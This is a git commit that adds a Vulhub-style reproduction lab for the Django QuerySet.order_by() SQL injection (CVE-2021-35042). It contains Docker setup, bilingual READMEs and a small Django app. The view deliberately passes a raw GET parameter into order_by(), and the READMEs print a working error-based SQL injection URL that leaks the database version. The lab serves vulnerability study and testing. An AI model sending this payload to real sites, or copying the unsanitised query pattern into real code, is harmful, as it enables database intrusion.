first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

BIN
django/CVE-2021-35042/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 76 KiB

BIN
django/CVE-2021-35042/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 272 KiB

View File

@@ -0,0 +1,9 @@
FROM vulhub/django:3.2.4
COPY web/ /usr/src/
COPY docker-entrypoint.sh /docker-entrypoint.sh
RUN chmod +x /docker-entrypoint.sh
WORKDIR /usr/src
ENTRYPOINT [ "bash", "/docker-entrypoint.sh"]
CMD [ "python", "app.py", "runserver", "0.0.0.0:8000" ]

View File

@@ -0,0 +1,40 @@
# Django QuerySet.order_by() SQL Injection (CVE-2021-35042)
[中文版本(Chinese version)](README.zh-cn.md)
Django is a high-level Python web framework that encourages rapid development and clean, pragmatic design.
Django released a security update on July 1, 2021, which fixes a SQL injection vulnerability in the `QuerySet.order_by()` function. This vulnerability affects Django versions before 3.2.5, 3.1.13.
The vulnerability can be exploited when a user has control over the input passed to the order_by() function, allowing for SQL injection at the expected column position.
References:
- <https://www.djangoproject.com/weblog/2021/jul/01/security-releases/>
## Environment Setup
Execute the following command to compile and start a vulnerable Django 3.2.4 server:
```
docker compose build
docker compose up -d
```
After the server is started, you can access the Django home page at `http://your-ip:8000`.
## Vulnerability Reproduction
First, visit `http://your-ip:8000/vuln/` and add the parameter `order=-id` to see the data sorted by ID in descending order:
![](1.png)
To exploit the SQL injection vulnerability, modify the `order` parameter with the following payload, where `vuln_collection` is the model name:
```
http://your-ip:8000/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23
```
The SQL error message will be displayed, revealing database information through the error-based SQL injection:
![](2.png)

View File

@@ -0,0 +1,38 @@
# Django QuerySet.order_by()函数SQL注入漏洞CVE-2021-35042
Django是一个高级的Python Web框架支持快速开发和简洁实用的设计。
Django在2021年7月1日发布了安全更新修复了在QuerySet.order_by()函数中存在的SQL注入漏洞。该漏洞影响Django 3.2.5、3.1.13和2.2.24之前的版本。
当用户可以控制传递给order_by()函数的输入时可以在预期的列位置进行SQL注入攻击。
参考链接:
- <https://www.djangoproject.com/weblog/2021/jul/01/security-releases/>
## 环境搭建
执行如下命令编译并启动一个存在漏洞的Django 3.2.4服务器:
```
docker compose build
docker compose up -d
```
环境启动后,访问`http://your-ip:8000`即可看到Django默认首页。
## 漏洞复现
首先访问`http://your-ip:8000/vuln/`,并添加参数`order=-id`以查看按ID降序排序的数据
![](1.png)
要利用SQL注入漏洞使用以下payload修改`order`参数,其中`vuln_collection`是模型名称:
```
http://your-ip:8000/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23
```
SQL错误信息将会显示通过基于错误的SQL注入泄露数据库信息
![](2.png)

View File

@@ -0,0 +1,13 @@
version: '2'
services:
web:
build: .
ports:
- "8000:8000"
depends_on:
- db
db:
image: mysql:5.7
environment:
- MYSQL_ROOT_PASSWORD=mysql
- MYSQL_DATABASE=cve

View File

@@ -0,0 +1,11 @@
#!/bin/bash
set -ex
cd /usr/src
wait-for-it.sh -t 0 db:3306 -- echo "mysql is up"
python app.py migrate
python app.py loaddata collection.json
exec "$@"

View File

@@ -0,0 +1,47 @@
import os
import sys
os.environ.setdefault("DJANGO_SETTINGS_MODULE", __name__)
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
DEBUG = True
SECRET_KEY = 'vulhub'
ALLOWED_HOSTS = ['*']
MIDDLEWARE = [
'django.middleware.common.CommonMiddleware',
]
ROOT_URLCONF = 'vuln.urls'
LOGGING = {
'version': 1,
'disable_existing_loggers': False,
'handlers': {
'console': {
'class': 'logging.StreamHandler',
},
},
'loggers': {
'django': {
'handlers': ['console'],
'level': os.getenv('DJANGO_LOG_LEVEL', 'WARNING'),
},
},
}
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'cve',
'USER': 'root',
'PASSWORD': 'mysql',
'HOST': 'db',
'PORT': '3306',
}
}
INSTALLED_APPS = [
'vuln'
]
from django.core.management import execute_from_command_line
execute_from_command_line(sys.argv)

View File

@@ -0,0 +1,30 @@
[
{
"model": "vuln.collection",
"pk": 1,
"fields": {
"name": "Example 1"
}
},
{
"model": "vuln.collection",
"pk": 2,
"fields": {
"name": "Example 2"
}
},
{
"model": "vuln.collection",
"pk": 3,
"fields": {
"name": "Example 3"
}
},
{
"model": "vuln.collection",
"pk": 4,
"fields": {
"name": "Example 4"
}
}
]

View File

@@ -0,0 +1,6 @@
from django.apps import AppConfig
class VulnConfig(AppConfig):
name = 'vuln'
default_auto_field = 'django.db.models.BigAutoField'

View File

@@ -0,0 +1,21 @@
# Generated by Django 3.1.4 on 2021-07-05 11:59
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Collection',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=128)),
],
),
]

View File

@@ -0,0 +1,7 @@
from django.db import models
# Create your models here.
class Collection(models.Model):
name = models.CharField(max_length=128)

View File

@@ -0,0 +1,7 @@
from django.urls import include, path, re_path
from . import views
urlpatterns = [
path('vuln/', views.vul),
]

View File

@@ -0,0 +1,10 @@
from django.shortcuts import HttpResponse
from .models import Collection
# Create your views here.
def vul(request):
query = request.GET.get('order', default='id')
q = Collection.objects.order_by(query)
return HttpResponse(q.values())